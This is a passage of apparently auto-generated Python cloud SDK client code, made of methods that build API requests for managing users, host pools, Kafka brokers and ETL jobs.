"RegionId": region_id}
repeat_info = {"UserIdList": ('UserIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def query_user_actions_policy(
self,
resource_owner_id=None,
resource_id=None,
resource_type=None,
region_id=None,
list_of_action_name_list=None,
aliyun_user_id=None):
api_request = APIRequest('QueryUserActionsPolicy', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"ResourceType": resource_type,
"RegionId": region_id,
"ActionNameList": list_of_action_name_list,
"AliyunUserId": aliyun_user_id}
repeat_info = {"ActionNameList": ('ActionNameList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_batch_users(
self,
resource_owner_id=None,
list_of_user_base_param_list=None,
list_of_role_id=None,
list_of_group_id=None,
description=None,
region_id=None):
api_request = APIRequest('CreateBatchUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"UserBaseParamList": list_of_user_base_param_list,
"RoleId": list_of_role_id,
"GroupId": list_of_group_id,
"Description": description,
"RegionId": region_id}
repeat_info = {
"UserBaseParamList": (
'UserBaseParamList',
'list',
'dict',
[
('AliyunUserId',
'str',
None,
None),
('UserName',
'str',
None,
None),
('UserType',
'str',
None,
None),
('IsSuperAdmin',
'str',
None,
None),
]),
"RoleId": (
'RoleId',
'list',
'str',
None),
"GroupId": (
'GroupId',
'list',
'str',
None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def add_user_resource_role(
self,
resource_owner_id=None,
resource_id=None,
role_id=None,
resource_type=None,
region_id=None,
aliyun_user_id=None):
api_request = APIRequest('AddUserResourceRole', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"RoleId": role_id,
"ResourceType": resource_type,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id}
return self._handle_request(api_request).result
def delete_user_resource_role(
self,
resource_owner_id=None,
resource_id=None,
role_id=None,
resource_type=None,
region_id=None,
aliyun_user_id=None):
api_request = APIRequest('DeleteUserResourceRole', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"RoleId": role_id,
"ResourceType": resource_type,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id}
return self._handle_request(api_request).result
def create_user_group(
self,
resource_owner_id=None,
description=None,
type_=None,
region_id=None,
name=None,
list_of_role_id_list=None):
api_request = APIRequest('CreateUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Description": description,
"Type": type_,
"RegionId": region_id,
"Name": name,
"RoleIdList": list_of_role_id_list}
repeat_info = {"RoleIdList": ('RoleIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_user(
self,
resource_owner_id=None,
user_type=None,
description=None,
list_of_user_account_param_list=None,
list_of_group_id_list=None,
region_id=None,
list_of_role_id_list=None,
aliyun_user_id=None,
user_name=None,
status=None):
api_request = APIRequest('CreateUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"UserType": user_type,
"Description": description,
"UserAccountParamList": list_of_user_account_param_list,
"GroupIdList": list_of_group_id_list,
"RegionId": region_id,
"RoleIdList": list_of_role_id_list,
"AliyunUserId": aliyun_user_id,
"UserName": user_name,
"Status": status}
repeat_info = {"UserAccountParamList": ('UserAccountParamList', 'list', 'dict', [('AccountType', 'str', None, None),
('AuthType', 'str', None, None),
('AccountPassword', 'str', None, None),
]),
"GroupIdList": ('GroupIdList', 'list', 'str', None),
"RoleIdList": ('RoleIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_roles(self, resource_owner_id=None, resource_type=None, region_id=None):
api_request = APIRequest('ListRoles', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceType": resource_type,
"RegionId": region_id}
return self._handle_request(api_request).result
def describe_user_group(self, resource_owner_id=None, region_id=None, group_id=None):
api_request = APIRequest('DescribeUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"GroupId": group_id}
return self._handle_request(api_request).result
def update_user_group(
self,
resource_owner_id=None,
list_of_role_id=None,
description=None,
type_=None,
region_id=None,
name=None,
id_=None):
api_request = APIRequest('UpdateUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RoleId": list_of_role_id,
"Description": description,
"Type": type_,
"RegionId": region_id,
"Name": name,
"Id": id_}
repeat_info = {"RoleId": ('RoleId', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def describe_user(self, resource_owner_id=None, region_id=None, aliyun_user_id=None):
api_request = APIRequest('DescribeUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id}
return self._handle_request(api_request).result
def add_resource_to_users(
self,
resource_owner_id=None,
resource_id=None,
list_of_user_id_list=None,
resource_type=None,
region_id=None,
list_of_role_id_list=None):
api_request = APIRequest('AddResourceToUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"UserIdList": list_of_user_id_list,
"ResourceType": resource_type,
"RegionId": region_id,
"RoleIdList": list_of_role_id_list}
repeat_info = {"UserIdList": ('UserIdList', 'list', 'str', None),
"RoleIdList": ('RoleIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def save_batch_user_account_info(
self,
resource_owner_id=None,
resource_id=None,
list_of_aliyun_user_id_list=None,
account_type=None,
group_name=None,
resource_type=None,
auth_type=None,
account_password=None,
region_id=None):
api_request = APIRequest('SaveBatchUserAccountInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"AliyunUserIdList": list_of_aliyun_user_id_list,
"AccountType": account_type,
"GroupName": group_name,
"ResourceType": resource_type,
"AuthType": auth_type,
"AccountPassword": account_password,
"RegionId": region_id}
repeat_info = {"AliyunUserIdList": ('AliyunUserIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_user_groups(self, resource_owner_id=None, fuzzy_name=None, region_id=None):
api_request = APIRequest('ListUserGroups', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FuzzyName": fuzzy_name,
"RegionId": region_id}
return self._handle_request(api_request).result
def update_user(
self,
resource_owner_id=None,
user_type=None,
description=None,
list_of_user_account_param_list=None,
list_of_group_id_list=None,
region_id=None,
list_of_role_id_list=None,
aliyun_user_id=None,
user_name=None,
status=None):
api_request = APIRequest('UpdateUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"UserType": user_type,
"Description": description,
"UserAccountParamList": list_of_user_account_param_list,
"GroupIdList": list_of_group_id_list,
"RegionId": region_id,
"RoleIdList": list_of_role_id_list,
"AliyunUserId": aliyun_user_id,
"UserName": user_name,
"Status": status}
repeat_info = {"UserAccountParamList": ('UserAccountParamList', 'list', 'dict', [('AccountType', 'str', None, None),
('AuthType', 'str', None, None),
('AccountPassword', 'str', None, None),
]),
"GroupIdList": ('GroupIdList', 'list', 'str', None),
"RoleIdList": ('RoleIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def page_list_users(
self,
resource_owner_id=None,
fuzzy_name=None,
page_number=None,
region_id=None,
page_size=None):
api_request = APIRequest('PageListUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FuzzyName": fuzzy_name,
"PageNumber": page_number,
"RegionId": region_id,
"PageSize": page_size}
return self._handle_request(api_request).result
def delete_resource_user(
self,
resource_owner_id=None,
resource_id=None,
resource_type=None,
region_id=None,
aliyun_user_id=None):
api_request = APIRequest('DeleteResourceUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"ResourceType": resource_type,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id}
return self._handle_request(api_request).result
def list_users_by_condition(self, resource_owner_id=None, search_key=None, region_id=None):
api_request = APIRequest('ListUsersByCondition', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"SearchKey": search_key,
"RegionId": region_id}
return self._handle_request(api_request).result
def save_user_account_info(
self,
resource_owner_id=None,
account_type=None,
group_name=None,
auth_type=None,
account_password=None,
region_id=None,
aliyun_user_id=None):
api_request = APIRequest('SaveUserAccountInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"AccountType": account_type,
"GroupName": group_name,
"AuthType": auth_type,
"AccountPassword": account_password,
"RegionId": region_id,
"AliyunUserId": aliyun_user_id}
return self._handle_request(api_request).result
def query_user_policies(
self,
resource_owner_id=None,
resource_id=None,
resource_type=None,
region_id=None):
api_request = APIRequest('QueryUserPolicies', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"ResourceType": resource_type,
"RegionId": region_id}
return self._handle_request(api_request).result
def page_list_user_groups(
self,
resource_owner_id=None,
fuzzy_name=None,
page_number=None,
region_id=None,
page_size=None):
api_request = APIRequest('PageListUserGroups', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FuzzyName": fuzzy_name,
"PageNumber": page_number,
"RegionId": region_id,
"PageSize": page_size}
return self._handle_request(api_request).result
def delete_user_group(self, resource_owner_id=None, region_id=None, group_id=None):
api_request = APIRequest('DeleteUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"GroupId": group_id}
return self._handle_request(api_request).result
def page_list_resource_users(
self,
resource_owner_id=None,
resource_id=None,
search_key=None,
resource_type=None,
page_number=None,
region_id=None,
page_size=None):
api_request = APIRequest('PageListResourceUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ResourceId": resource_id,
"SearchKey": search_key,
"ResourceType": resource_type,
"PageNumber": page_number,
"RegionId": region_id,
"PageSize": page_size}
return self._handle_request(api_request).result
def list_host_pool(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
page_number=None):
api_request = APIRequest('ListHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_kafka_reassign(
self,
resource_owner_id=None,
topic_id=None,
region_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListKafkaReassign', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def delete_host_pool(self, resource_owner_id=None, region_id=None, biz_id=None):
api_request = APIRequest('DeleteHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id}
return self._handle_request(api_request).result
def offline_kafka_broker(
self,
throttle=None,
resource_owner_id=None,
region_id=None,
host_id=None,
cluster_id=None):
api_request = APIRequest('OfflineKafkaBroker', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Throttle": throttle,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostId": host_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def create_host_pool(
self,
resource_owner_id=None,
region_id=None,
name=None,
description=None,
list_of_kube_cluster_info=None,
type_=None):
api_request = APIRequest('CreateHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Description": description,
"KubeClusterInfo": list_of_kube_cluster_info,
"Type": type_}
repeat_info = {"KubeClusterInfo": ('KubeClusterInfo',
'list',
'dict',
[('ExternalKey',
'str',
None,
None),
('InternalConfig',
'str',
None,
None),
('PublicConfig',
'str',
None,
None),
('SshConfig',
'str',
None,
None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_kafka_reassign_topic(
self,
resource_owner_id=None,
region_id=None,
reassign_id=None,
page_size=None,
page_number=None):
api_request = APIRequest('ListKafkaReassignTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ReassignId": reassign_id,
"PageSize": page_size,
"PageNumber": page_number}
return self._handle_request(api_request).result
def plan_component_topo(
self,
cluster_type=None,
resource_owner_id=None,
region_id=None,
list_of_host_group=None,
list_of_host_info=None,
stack_name=None,
cluster_id=None,
stack_version=None,
list_of_service_info=None):
api_request = APIRequest('PlanComponentTopo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ClusterType": cluster_type,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroup": list_of_host_group,
"HostInfo": list_of_host_info,
"StackName": stack_name,
"ClusterId": cluster_id,
"StackVersion": stack_version,
"ServiceInfo": list_of_service_info}
repeat_info = {"HostGroup": ('HostGroup', 'list', 'dict', [('GroupType', 'str', None, None),
('NodeCount', 'str', None, None),
('GroupName', 'str', None, None),
]),
"HostInfo": ('HostInfo', 'list', 'dict', [('HpHostBizId', 'str', None, None),
('HostGroupName', 'str', None, None),
]),
"ServiceInfo": ('ServiceInfo', 'list', 'dict', [('ServiceEcmVersion', 'str', None, None),
('ServiceVersion', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_kafka_topic_statistics(
self,
resource_owner_id=None,
active_only=None,
region_id=None,
page_size=None,
data_source_id=None,
topic_name=None,
cluster_id=None,
page_number=None,
fuzzy_topic_name=None):
api_request = APIRequest('ListKafkaTopicStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ActiveOnly": active_only,
"RegionId": region_id,
"PageSize": page_size,
"DataSourceId": data_source_id,
"TopicName": topic_name,
"ClusterId": cluster_id,
"PageNumber": page_number,
"FuzzyTopicName": fuzzy_topic_name}
return self._handle_request(api_request).result
def start_kafka_preferred_replica_election(
self, resource_owner_id=None, topic_id=None, region_id=None):
api_request = APIRequest('StartKafkaPreferredReplicaElection',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def list_cluster_support_service(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('ListClusterSupportService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_kafka_reassign(self, resource_owner_id=None, region_id=None, reassign_id=None):
api_request = APIRequest('DescribeKafkaReassign', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ReassignId": reassign_id}
return self._handle_request(api_request).result
def list_stack_service(
self,
resource_owner_id=None,
region_id=None,
stack_name=None,
stack_version=None):
api_request = APIRequest('ListStackService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"StackName": stack_name,
"StackVersion": stack_version}
return self._handle_request(api_request).result
def create_cluster_with_host_pool(
self,
resource_owner_id=None,
cluster_name=None,
eas_enable=None,
list_of_host_info=None,
related_cluster_id=None,
cluster_type=None,
region_id=None,
list_of_host_group=None,
stack_name=None,
stack_version=None,
list_of_service_info=None,
list_of_config=None):
api_request = APIRequest('CreateClusterWithHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ClusterName": cluster_name,
"EasEnable": eas_enable,
"HostInfo": list_of_host_info,
"RelatedClusterId": related_cluster_id,
"ClusterType": cluster_type,
"RegionId": region_id,
"HostGroup": list_of_host_group,
"StackName": stack_name,
"StackVersion": stack_version,
"ServiceInfo": list_of_service_info,
"Config": list_of_config}
repeat_info = {"HostInfo": ('HostInfo', 'list', 'dict', [('HpHostBizId', 'str', None, None),
('HostName', 'str', None, None),
('Role', 'str', None, None),
('GroupId', 'str', None, None),
('PrivateIp', 'str', None, None),
('ServiceComponentInfo', 'list', 'dict', [('ServiceEcmVersion', 'str', None, None),
('ComponentName', 'str', None, None),
('ServiceName', 'str', None, None),
],),('HostGroupName', 'str', None, None),
]),
"HostGroup": ('HostGroup', 'list', 'dict', [('GroupType', 'str', None, None),
('GroupId', 'str', None, None),
('GroupName', 'str', None, None),
]),
"ServiceInfo": ('ServiceInfo', 'list', 'dict', [('ServiceEcmVersion', 'str', None, None),
('ServiceVersion', 'str', None, None),
('ServiceName', 'str', None, None),
]),
"Config": ('Config', 'list', 'dict', [('ConfigKey', 'str', None, None),
('FileName', 'str', None, None),
('ConfigValue', 'str', None, None),
('ServiceName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def start_kafka_broker_disk_balancer(
self,
throttle=None,
resource_owner_id=None,
broker_id=None,
region_id=None,
cluster_id=None,
balance_threshold=None):
api_request = APIRequest('StartKafkaBrokerDiskBalancer', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Throttle": throttle,
"ResourceOwnerId": resource_owner_id,
"BrokerId": broker_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"BalanceThreshold": balance_threshold}
return self._handle_request(api_request).result
def list_hp_host(
self,
resource_owner_id=None,
role=None,
region_id=None,
page_size=None,
hp_biz_id=None,
page_number=None,
status=None):
api_request = APIRequest('ListHpHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Role": role,
"RegionId": region_id,
"PageSize": page_size,
"HpBizId": hp_biz_id,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def remove_hp_host(self, hp_host_biz_id=None, resource_owner_id=None, region_id=None):
api_request = APIRequest('RemoveHpHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"HpHostBizId": hp_host_biz_id,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def list_cluster_installed_service(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListClusterInstalledService', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def reassign_kafka(
self,
throttle=None,
resource_owner_id=None,
topic_id=None,
list_of_broker_id=None,
region_id=None):
api_request = APIRequest('ReassignKafka', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Throttle": throttle,
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"BrokerId": list_of_broker_id,
"RegionId": region_id}
repeat_info = {"BrokerId": ('BrokerId', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def update_kafka_reassign_param(
self,
throttle=None,
resource_owner_id=None,
region_id=None,
reassign_id=None):
api_request = APIRequest('UpdateKafkaReassignParam', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Throttle": throttle,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ReassignId": reassign_id}
return self._handle_request(api_request).result
def add_hp_host(
self,
resource_owner_id=None,
list_of_hp_host=None,
region_id=None,
hp_biz_id=None):
api_request = APIRequest('AddHpHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HpHost": list_of_hp_host,
"RegionId": region_id,
"HpBizId": hp_biz_id}
repeat_info = {"HpHost": ('HpHost', 'list', 'dict', [('CpuCore', 'str', None, None),
('MemSize', 'str', None, None),
('RackInfo', 'str', None, None),
('Role', 'str', None, None),
('SerialNumber', 'str', None, None),
('HostType', 'str', None, None),
('SecurityGroupId', 'str', None, None),
('HpHostDisk', 'list', 'dict', [('DiskSize', 'str', None, None),
('MountPath', 'str', None, None),
('DiskDevice', 'str', None, None),
],),('VswitchId', 'str', None, None),
('ExternalKey', 'str', None, None),
('HostName', 'str', None, None),
('VpcId', 'str', None, None),
('InnerIp', 'str', None, None),
('ExternalIp', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def modify_host_pool(
self,
resource_owner_id=None,
region_id=None,
name=None,
biz_id=None,
description=None):
api_request = APIRequest('ModifyHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"BizId": biz_id,
"Description": description}
return self._handle_request(api_request).result
def describe_kafka_broker(
self,
resource_owner_id=None,
region_id=None,
host_id=None,
cluster_id=None):
api_request = APIRequest('DescribeKafkaBroker', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostId": host_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_kafka_broker(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListKafkaBroker', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_stack(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
stack_name=None,
stack_version=None,
page_number=None):
api_request = APIRequest('ListStack', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"StackName": stack_name,
"StackVersion": stack_version,
"PageNumber": page_number}
return self._handle_request(api_request).result
def plan_host_name(
self,
resource_owner_id=None,
region_id=None,
list_of_host_group=None,
list_of_host_info=None,
cluster_id=None):
api_request = APIRequest('PlanHostName', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroup": list_of_host_group,
"HostInfo": list_of_host_info,
"ClusterId": cluster_id}
repeat_info = {
"HostGroup": (
'HostGroup', 'list', 'dict', [
('GroupType', 'str', None, None), ('GroupName', 'str', None, None), ]), "HostInfo": (
'HostInfo', 'list', 'dict', [
('HpHostBizId', 'str', None, None), ('HostGroupName', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def describe_host_pool(
self,
resource_owner_id=None,
region_id=None,
biz_id=None,
cluster_id=None):
api_request = APIRequest('DescribeHostPool', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_etl_job_release(
self,
resource_owner_id=None,
region_id=None,
etl_job_id=None,
release_id=None,
page_size=None,
page_number=None,
release_version=None,
status=None):
api_request = APIRequest('ListETLJobRelease', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"ReleaseId": release_id,
"PageSize": page_size,
"PageNumber": page_number,
"ReleaseVersion": release_version,
"Status": status}
return self._handle_request(api_request).result
def describe_data_source_schema_database(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
data_source_id=None):
api_request = APIRequest('DescribeDataSourceSchemaDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DataSourceId": data_source_id}
return self._handle_request(api_request).result
def update_project_setting(
self,
resource_owner_id=None,
region_id=None,
default_oss_path=None,
project_id=None,
oss_config=None):
api_request = APIRequest('UpdateProjectSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"DefaultOssPath": default_oss_path,
"ProjectId": project_id,
"OssConfig": oss_config}
return self._handle_request(api_request).result
def describe_etl_job(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def describe_etl_job_instance(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeETLJobInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def delete_etl_job(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def update_etl_job_stage(
self,
stage_name=None,
stage_conf=None,
resource_owner_id=None,
stage_type=None,
region_id=None,
etl_job_id=None,
stage_plugin=None):
api_request = APIRequest('UpdateETLJobStage', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"StageName": stage_name,
"StageConf": stage_conf,
"ResourceOwnerId": resource_owner_id,
"StageType": stage_type,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"StagePlugin": stage_plugin}
return self._handle_request(api_request).result
def create_nav_node(
self,
resource_owner_id=None,
region_id=None,
name=None,
type_=None,
project_id=None,
category_type=None,
object_id=None,
parent_id=None):
api_request = APIRequest('CreateNavNode', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Type": type_,
"ProjectId": project_id,
"CategoryType": category_type,
"ObjectId": object_id,
"ParentId": parent_id}
return self._handle_request(api_request).result
def update_data_source(
self,
resource_owner_id=None,
region_id=None,
name=None,
description=None,
conf=None,
id_=None):
api_request = APIRequest('UpdateDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Description": description,
"Conf": conf,
"Id": id_}
return self._handle_request(api_request).result
def delete_nav_node(self, resource_owner_id=None, region_id=None, id_=None, project_id=None):
api_request = APIRequest('DeleteNavNode', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_,
"ProjectId": project_id}
return self._handle_request(api_request).result
def update_nav_node(
self,
resource_owner_id=None,
region_id=None,
name=None,
id_=None,
project_id=None,
parent_id=None):
api_request = APIRequest('UpdateNavNode', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_,
"ProjectId": project_id,
"ParentId": parent_id}
return self._handle_request(api_request).result
def resolve_etl_job_sql_schema(
self,
stage_name=None,
resource_owner_id=None,
region_id=None,
etl_job_id=None,
data_source_id=None,
sql=None):
api_request = APIRequest('ResolveETLJobSqlSchema', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"StageName": stage_name,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"DataSourceId": data_source_id,
"Sql": sql}
return self._handle_request(api_request).result
def check_data_source(
self,
resource_owner_id=None,
region_id=None,
conf=None,
id_=None,
cluster_id=None):
api_request = APIRequest('CheckDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Conf": conf,
"Id": id_,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def clone_etl_job(self, resource_owner_id=None, region_id=None, name=None, id_=None):
api_request = APIRequest('CloneETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_}
return self._handle_request(api_request).result
def list_etl_job_trigger_entity(self, resource_owner_id=None, entity_type=None, region_id=None):
api_request = APIRequest('ListETLJobTriggerEntity', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"EntityType": entity_type,
"RegionId": region_id}
return self._handle_request(api_request).result
def kill_etl_job_instance(self, resource_owner_id=None, instance_id=None, region_id=None):
api_request = APIRequest('KillETLJobInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"InstanceId": instance_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def describe_etl_job_stage_output_schema(
self,
stage_name=None,
resource_owner_id=None,
region_id=None,
etl_job_id=None):
api_request = APIRequest('DescribeETLJobStageOutputSchema', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"StageName": stage_name,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EtlJobId": etl_job_id}
return self._handle_request(api_request).result
def describe_etl_job_sql_schema(self, resource_owner_id=None, region_id=None, resolve_id=None):
api_request = APIRequest('DescribeETLJobSqlSchema', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResolveId": resolve_id}
return self._handle_request(api_request).result
def describe_data_source_command(self, resource_owner_id=None, region_id=None, id_=None):
